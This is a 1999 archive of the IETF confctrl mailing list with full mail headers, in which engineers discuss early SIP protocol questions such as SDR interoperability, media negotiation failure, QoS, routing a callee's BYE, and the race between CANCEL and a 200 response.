MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
CC: confctrl@ISI.EDU
Subject: Re: SDR tool
References: <374A4BA7.3633B063@ericsson.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

SDR implements an early version of SIP and is not compatible with the
rest of the SIP world.

Gonzalo Camarillo wrote:
> 
> Hi,
> 
> I was trying to check if a SIP UAC/UAS that I've got could interoperate
> with standard SIP tools. I chose the SDR tool for this test.
> 
> I've noticed that: first of all, an INVITE request is sent, with a
> session description written using SDP... but then, the 200 OK response
> does not contain any session information... and there is no ACK at all.
> 
> Since SDR is designed for the MBONE, multicast is used, and therefore, a
> second session description is not needed.
> 
> Is this a standard SIP behaviour? (I thought that we always had to
> return an ACK).
> 
> Thanks,
> 
> Gonzalo
> --
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 31 18
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.fi
> Finland

From confctrl-owner  Tue May 25 12:12:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA14857
	for confctrl-outgoing; Tue, 25 May 1999 12:12:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA14852
	for <confctrl@zephyr.isi.edu>; Tue, 25 May 1999 12:12:01 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA25934
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 12:11:59 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id OAA19470
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 14:11:27 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id OAA09623
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 14:11:26 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA26637 for <confctrl@ISI.EDU>; Tue, 25 May 1999 14:11:24 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id OAA20498
	for confctrl@ISI.EDU; Tue, 25 May 1999 14:11:18 -0500 (CDT)
Message-Id: <199905251911.OAA20498@b04a24.exu.ericsson.se>
Subject: Media negotiation failure in ACK
To: confctrl@ISI.EDU
Date: Tue, 25 May 1999 14:11:18 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I'm trying to figure out how to handle media negotiation failures
for SDP transmitted in a 200 response.  There seem to be two options,
but neither allows for a Warning: header.

C1            C2
|---INVITE--->| No SDP
|<----200-----| Contains SDP which C1 does not support
|-----ACK---->| Contains SDP with no media sections

C1            C2
|---INVITE--->| No SDP
|<----200-----| Contains SDP which C1 does not support
|---CANCEL--->|
|<----200-----|

Is there a better solution to this?

(As Jonathan Rosenberg pointed out earlier, this type of situation 
occurs when interworking with systems which don't indicate media 
preference until call acceptance, such as H.323v1).

Also, as a straw poll for those of you who have already implemented 
clients: does your client support this style of media negotiation
(i.e. INVITE with no SDP)?

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue May 25 19:28:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA05650
	for confctrl-outgoing; Tue, 25 May 1999 19:28:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA05627
	for <confctrl@zephyr.isi.edu>; Tue, 25 May 1999 19:28:10 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA04982
	for <confctrl@isi.edu>; Tue, 25 May 1999 19:28:06 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue May 25 22:27:08 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.197])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA03317;
	Tue, 25 May 1999 22:27:06 -0400 (EDT)
Message-ID: <374B5C14.39880F94@dnrc.bell-labs.com>
Date: Tue, 25 May 1999 22:27:32 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: Media negotiation failure in ACK
References: <199905251911.OAA20498@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> I'm trying to figure out how to handle media negotiation failures
> for SDP transmitted in a 200 response.  There seem to be two options,
> but neither allows for a Warning: header.
> 
> C1            C2
> |---INVITE--->| No SDP
> |<----200-----| Contains SDP which C1 does not support
> |-----ACK---->| Contains SDP with no media sections
> 
> C1            C2
> |---INVITE--->| No SDP
> |<----200-----| Contains SDP which C1 does not support
> |---CANCEL--->|
> |<----200-----|
> 
> Is there a better solution to this?

Its worth pointing out that this problem arises only when there are no
media in common at all; since its only in this case that the call is
rejected. I think the aim is to try and emulate what happens in the case
when there are media sections in the SDP in the INVITE (normal case).
When there is, and there is no media in common, the UAS returns an error
and the call is over. So, to emulate this, I think the right solution is
a third, which is to send a BYE after receiving the 200. Note that
sending a CANCEL accomplishes nothing, since the 200 has already been
sent, and it therefore has no effect.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed May 26 08:35:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA12564
	for confctrl-outgoing; Wed, 26 May 1999 08:35:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12559
	for <confctrl@zephyr.isi.edu>; Wed, 26 May 1999 08:35:26 -0700 (PDT)
Received: from custmail.concentric.net (custmail.concentric.net [205.158.16.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA06230
	for <confctrl@ISI.EDU>; Wed, 26 May 1999 08:35:25 -0700 (PDT)
Received: from packetstream.com ([216.112.2.42])
	by custmail.concentric.net (8.9.1/8.9.1) with ESMTP id IAA27727
	for <confctrl@ISI.EDU>; Wed, 26 May 1999 08:35:23 -0700 (PDT)
Message-ID: <374C1812.345AC2A2@packetstream.com>
Date: Wed, 26 May 1999 08:49:38 -0700
From: Sanjay Nayak <sanjay@packetstream.com>
Reply-To: sanjay@packetstream.com
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP and QOS
References: <374A4BA7.3633B063@ericsson.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I am  intretsed in the issues involved  in SIP and QOS, specially following
once.

1. Can any one of the method of  SIP can accomodate the QOS parameters (
bandwidth, latency ..).  So that we need not go for  any resource
reservation protocols. During the phase of the session establisment , we
can  make sure that  bandwidth is available end-to-end.

2. IT seems to be that SIP will compleatly isolate the control plane from
data plane. that means connection estblishment  path is different from the
data path. won't his be a problem for QOS issues. how to gauretee the
end-to-end QOS  , if the signalling path is different from the data.



From confctrl-owner  Wed May 26 13:21:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA13408
	for confctrl-outgoing; Wed, 26 May 1999 13:21:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA13403
	for <confctrl@zephyr.isi.edu>; Wed, 26 May 1999 13:21:26 -0700 (PDT)
Received: from www.ragemail.com (ragemail.com [208.198.227.26])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA08149
	for <confctrl@ISI.EDU>; Wed, 26 May 1999 13:21:25 -0700 (PDT)
Message-Id: <199905262021.NAA08149@tnt.isi.edu>
Received: from [205.237.248.37] by ragemail.com id 7e6a3.wrk; Wed, 26 May 1999 15:51:22 EDT
X-Sender: 94298898@hermes.usherb.ca
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 
Date: Wed, 26 May 1999 15:50:49 -0400
To: confctrl@ISI.EDU
From: Hans Viens <vieh01@gel.usherb.ca>
Subject: SIP privacy
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi!

I'd like to know if my understanding of SIP encryption is good... if not...
please tell me what's wrong.

If I want to send an encrypted request:

- I encrypt the part of the request with the sender's private key;
- Create a signature with a hash algorithm (MD5 or SHA-1);
- Prepended the signature to the encrypted message;
- Then send it

Is it the way it should be ???

Hans...


From confctrl-owner  Wed May 26 13:38:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA15763
	for confctrl-outgoing; Wed, 26 May 1999 13:38:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA15758
	for <confctrl@zephyr.isi.edu>; Wed, 26 May 1999 13:38:46 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA09804
	for <confctrl@isi.edu>; Wed, 26 May 1999 13:38:42 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed May 26 16:21:58 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id NAA25643;
	Wed, 26 May 1999 13:29:38 -0400 (EDT)
Message-ID: <374C2C58.5F107316@dnrc.bell-labs.com>
Date: Wed, 26 May 1999 13:16:08 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: sanjay@packetstream.com
CC: confctrl@ISI.EDU
Subject: Re: SIP and QOS
References: <374A4BA7.3633B063@ericsson.fi> <374C1812.345AC2A2@packetstream.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sanjay Nayak wrote:
> 
> I am  intretsed in the issues involved  in SIP and QOS, specially following
> once.
> 
> 1. Can any one of the method of  SIP can accomodate the QOS parameters (
> bandwidth, latency ..).  So that we need not go for  any resource
> reservation protocols. During the phase of the session establisment , we
> can  make sure that  bandwidth is available end-to-end.
> 
> 2. IT seems to be that SIP will compleatly isolate the control plane from
> data plane. that means connection estblishment  path is different from the
> data path. won't his be a problem for QOS issues. how to gauretee the
> end-to-end QOS  , if the signalling path is different from the data.

As you mention, the control path (i.e., SIP), and the data path (RTP),
are completely independent. Its worth a note that this is true for all
of the existing IP telephony protocols. I believe this to be a feature,
not a bug. As such, SIP (and SIP servers) cannot really have a
generically useful role in QoS negotiation. 

To handle QoS, we have a suite of tools at our disposal (namely RSVP and
intserv, diffserv). An end system requiring some level of QoS support
simply makes use of these tools. The advantage of using these generic
mechanisms is that they are application independent. Lets not forget
that IP telephony is one of many applications which require QoS support.
By using an application-independent set of tools, like RSVP and
diffserv, providers can have one central infrastruture to meet the QoS
requirements of all their applications.

There are some subtle interplay issues with these QoS mechanisms and
SIP. Namely, there are many who have the strong requirement that the
called parties phone not ring unless resource reservation has occurred.
This can be supported without putting any QoS in SIP; but rather using
some SDP parameters, interpreted at end systems. Look for an I-D on this
subject, to be released in the next few days.

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed May 26 14:33:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA20740
	for confctrl-outgoing; Wed, 26 May 1999 14:33:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA20735
	for <confctrl@zephyr.isi.edu>; Wed, 26 May 1999 14:33:00 -0700 (PDT)
Received: from custmail.concentric.net (custmail.concentric.net [205.158.16.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA15566
	for <confctrl@ISI.EDU>; Wed, 26 May 1999 14:33:00 -0700 (PDT)
Received: from packetstream.com ([216.112.2.42])
	by custmail.concentric.net (8.9.1/8.9.1) with ESMTP id OAA18985
	for <confctrl@ISI.EDU>; Wed, 26 May 1999 14:32:58 -0700 (PDT)
Message-ID: <374C6BE2.1505FE2A@packetstream.com>
Date: Wed, 26 May 1999 14:47:14 -0700
From: Sanjay Nayak <sanjay@packetstream.com>
Reply-To: sanjay@packetstream.com
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: SIP and QOS
References: <374A4BA7.3633B063@ericsson.fi> <374C1812.345AC2A2@packetstream.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Any sample code of SIP is available  for  experiments

-sanjay

Sanjay Nayak wrote:

> I am  intretsed in the issues involved  in SIP and QOS, specially following
> once.
>
> 1. Can any one of the method of  SIP can accomodate the QOS parameters (
> bandwidth, latency ..).  So that we need not go for  any resource
> reservation protocols. During the phase of the session establisment , we
> can  make sure that  bandwidth is available end-to-end.
>
> 2. IT seems to be that SIP will compleatly isolate the control plane from
> data plane. that means connection estblishment  path is different from the
> data path. won't his be a problem for QOS issues. how to gauretee the
> end-to-end QOS  , if the signalling path is different from the data.


From confctrl-owner  Wed May 26 21:28:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA23242
	for confctrl-outgoing; Wed, 26 May 1999 21:28:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA23237
	for <confctrl@zephyr.isi.edu>; Wed, 26 May 1999 21:28:21 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA17583
	for <confctrl@isi.edu>; Wed, 26 May 1999 21:28:13 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id KAA06382
	for <confctrl@isi.edu>; Thu, 27 May 1999 10:57:50 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 6525677E.00189F0B ; Thu, 27 May 1999 09:58:55 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <6525677E.00180255.00@sampark.hss.hns.com>
Date: Thu, 27 May 1999 09:58:53 +0530
Subject: Re: SIP and QOS + some more unrelated questions
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

well, quite a while ago , I had a look at MINT from the GMD fokus ppl. They
had implemented a basic SIP service. I dont know their status now. If it
helps you could take a look. If there are any other free sources available,
Id like to know too !

BTW, is there any planned movement in SIP like Openh323 ?

One more thing, recently I was searching hgs' site for docs on how to make
PSTN systems interwork with SIP, and I only found a functional specs for
the same. Is there any further work on that , a draft maybe, which outlines
a standard way in which a
PSTN-SIP gateway should operate ?

Thx
Regds
Arjun





Sanjay Nayak <sanjay@packetstream.com> on 05/27/99 03:17:14 AM

Please respond to sanjay@packetstream.com

To:   confctrl@ISI.EDU
cc:
Subject:  Re: SIP and QOS




Any sample code of SIP is available  for  experiments
-sanjay
Sanjay Nayak wrote:
> I am  intretsed in the issues involved  in SIP and QOS, specially
following
> once.
>
> 1. Can any one of the method of  SIP can accomodate the QOS parameters (
> bandwidth, latency ..).  So that we need not go for  any resource
> reservation protocols. During the phase of the session establisment , we
> can  make sure that  bandwidth is available end-to-end.
>
> 2. IT seems to be that SIP will compleatly isolate the control plane from
> data plane. that means connection estblishment  path is different from
the
> data path. won't his be a problem for QOS issues. how to gauretee the
> end-to-end QOS  , if the signalling path is different from the data.








From confctrl-owner  Thu May 27 05:07:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA25918
	for confctrl-outgoing; Thu, 27 May 1999 05:07:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA25913
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 05:07:51 -0700 (PDT)
Received: from omzrelay03.mcit.com (omzrelay03.mcit.com [199.249.19.245])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02170
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 05:07:50 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38418)
 with ESMTP id <0FCE00G764C7UQ@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 27 May 1999 12:07:19 +0000 (GMT)
Received: from omzmta04.mcit.com (omzmta04.mcit.com [166.37.194.122])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id MAA30689; Thu,
 27 May 1999 12:06:43 +0000 (GMT)
Received: from c25776a ([166.37.185.76])
 by omzmta04.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990527120718.SHG632@c25776a>; Thu, 27 May 1999 12:07:18 +0000
Date: Thu, 27 May 1999 07:07:21 -0500
From: Henry Sinnreich <henry.sinnreich@wcom.com>
Subject: RE: SIP and QOS + some more unrelated questions
In-reply-to: <6525677E.00180255.00@sampark.hss.hns.com>
To: archow@hss.hns.com, confctrl@ISI.EDU
Message-id: <NBBBIIJFOKPMFOOILMBKGELOEBAA.henry.sinnreich@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Is there any further work on that , a draft maybe,
> which outlines
> a standard way in which a
> PSTN-SIP gateway should operate ?

Some of us had a long-standing intention to write such a "best practices"
document, but were just to busy to get it done. It should be looked as a to
do work item for this group I believe.

Henry

Henry Sinnreich
MCI WorldCom
400 International Parkway
Richardson, Texas 75081, USA


> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> archow@hss.hns.com
> Sent: Wednesday, May 26, 1999 11:29 PM
> To: confctrl@ISI.EDU
> Subject: Re: SIP and QOS + some more unrelated questions
>
>
> well, quite a while ago , I had a look at MINT from the GMD fokus
> ppl. They
> had implemented a basic SIP service. I dont know their status now. If it
> helps you could take a look. If there are any other free sources
> available,
> Id like to know too !
>
> BTW, is there any planned movement in SIP like Openh323 ?
>
> One more thing, recently I was searching hgs' site for docs on how to make
> PSTN systems interwork with SIP, and I only found a functional specs for
> the same. Is there any further work on that , a draft maybe,
> which outlines
> a standard way in which a
> PSTN-SIP gateway should operate ?
>
> Thx
> Regds
> Arjun
>
>
>
>
>
> Sanjay Nayak <sanjay@packetstream.com> on 05/27/99 03:17:14 AM
>
> Please respond to sanjay@packetstream.com
>
> To:   confctrl@ISI.EDU
> cc:
> Subject:  Re: SIP and QOS
>
>
>
>
> Any sample code of SIP is available  for  experiments
> -sanjay
> Sanjay Nayak wrote:
> > I am  intretsed in the issues involved  in SIP and QOS, specially
> following
> > once.
> >
> > 1. Can any one of the method of  SIP can accomodate the QOS parameters (
> > bandwidth, latency ..).  So that we need not go for  any resource
> > reservation protocols. During the phase of the session establisment , we
> > can  make sure that  bandwidth is available end-to-end.
> >
> > 2. IT seems to be that SIP will compleatly isolate the control
> plane from
> > data plane. that means connection estblishment  path is different from
> the
> > data path. won't his be a problem for QOS issues. how to gauretee the
> > end-to-end QOS  , if the signalling path is different from the data.
>
>
>
>
>
>
>


From confctrl-owner  Thu May 27 05:44:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA02410
	for confctrl-outgoing; Thu, 27 May 1999 05:44:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02405
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 05:44:16 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA03424
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 05:44:12 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id OAA06003
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 14:43:32 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id PAA28984; Thu, 27 May 1999 15:43:00 +0300 (EET DST)
Message-ID: <374D3D10.FD9C9B05@ericsson.com>
Date: Thu, 27 May 1999 15:39:44 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: BYE from the callee.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

We have a SIP UAC/UAS, and we receive an INVITE request with the
following Via header:

Via: SIP/2.0/UDP 1.1.1.1:5062

We send our 200 OK to the port number 5062 and we receive the ACK... the
connection is established.

Now we (the callee) want to send a BYE in order to finish the call.

Where do we have to send the BYE request?
There are two possibilities:
a) We send it to 1.1.1.1:5062, since our last response was sent there.

b) We follow the normal steps for finding a SIP server with the
information contained in the From header of the INVITE received
previously.

I have tried some implementations and they go for the second opcion (b),
since the Via header of a previous transaction does not have anything to
do with the transaction that we are about to start... this is the
correct behaviour, right?

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Thu May 27 05:44:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA02423
	for confctrl-outgoing; Thu, 27 May 1999 05:44:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA02418
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 05:44:42 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA03432
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 05:44:40 -0700 (PDT)
Received: (qmail 12291 invoked from network); 27 May 1999 14:44:38 +0200
Received: from du147-246.ppp.algonet.se (HELO felix.intertex.se) (195.100.246.147)
  by hromeo.algonet.se with SMTP; 27 May 1999 14:44:38 +0200
Message-ID: <374D3F5D.88106B08@intertex.se>
Date: Thu, 27 May 1999 14:49:33 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: CANCEL request/2xx-response to INVITE
References: <6525677E.00180255.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

Does anybody have a suggestion of what the UAS should do in the
following scenario:

1) UAC sends INVITE to UAS.
2) UAS receives INVITE.
3) UAS sends 200 OK (INVITE) to UAC.
4) UAC sends CANCEL to UAS.
5) UAC receives 200 OK (INVITE).
6) UAS receives the CANCEL.

Now what should the UAS do? How do it respond to the CANCEL? According
to the rfc it is not affected by the CANCEL since it has sent a 200
response.

Is there a failure status code to send in response to the CANCEL or
should the UAS just silently drop the CANCEL request?

Thanks 

Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Thu May 27 09:31:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28993
	for confctrl-outgoing; Thu, 27 May 1999 09:31:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28988
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 09:31:17 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17470
	for <confctrl@ISI.EDU>; Thu, 27 May 1999 09:31:16 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id LAA04839;
	Thu, 27 May 1999 11:30:45 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id LAA27479;
	Thu, 27 May 1999 11:30:40 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA09844; Thu, 27 May 1999 11:30:37 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id LAA07030;
	Thu, 27 May 1999 11:30:35 -0500 (CDT)
Message-Id: <199905271630.LAA07030@b04a24.exu.ericsson.se>
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
To: lars.berggren@intertex.se (Lars Berggren)
Date: Thu, 27 May 1999 11:30:34 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <374D3F5D.88106B08@intertex.se> from "Lars Berggren" at May 27, 99 02:49:33 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>1) UAC sends INVITE to UAS.
>2) UAS receives INVITE.
>3) UAS sends 200 OK (INVITE) to UAC.
>4) UAC sends CANCEL to UAS.
>5) UAC receives 200 OK (INVITE).
>6) UAS receives the CANCEL.
>
>Now what should the UAS do? How do it respond to the CANCEL? According
>to the rfc it is not affected by the CANCEL since it has sent a 200
>response.
>
>Is there a failure status code to send in response to the CANCEL or
>should the UAS just silently drop the CANCEL request?

I beleive it should send a 200 in response to the CANCEL.

UAC                        UAS
 |----------INVITE--------->|
 |---CANCEL--\  /-INV. 200--|
 |            \/            |
 |            /\            |
 |<----------/  \---------->| The CANCEL does not terminate the session
 |<--------CANCEL 200-------|
 |------------BYE---------->|
 |<---------BYE 200---------|
 |                          |

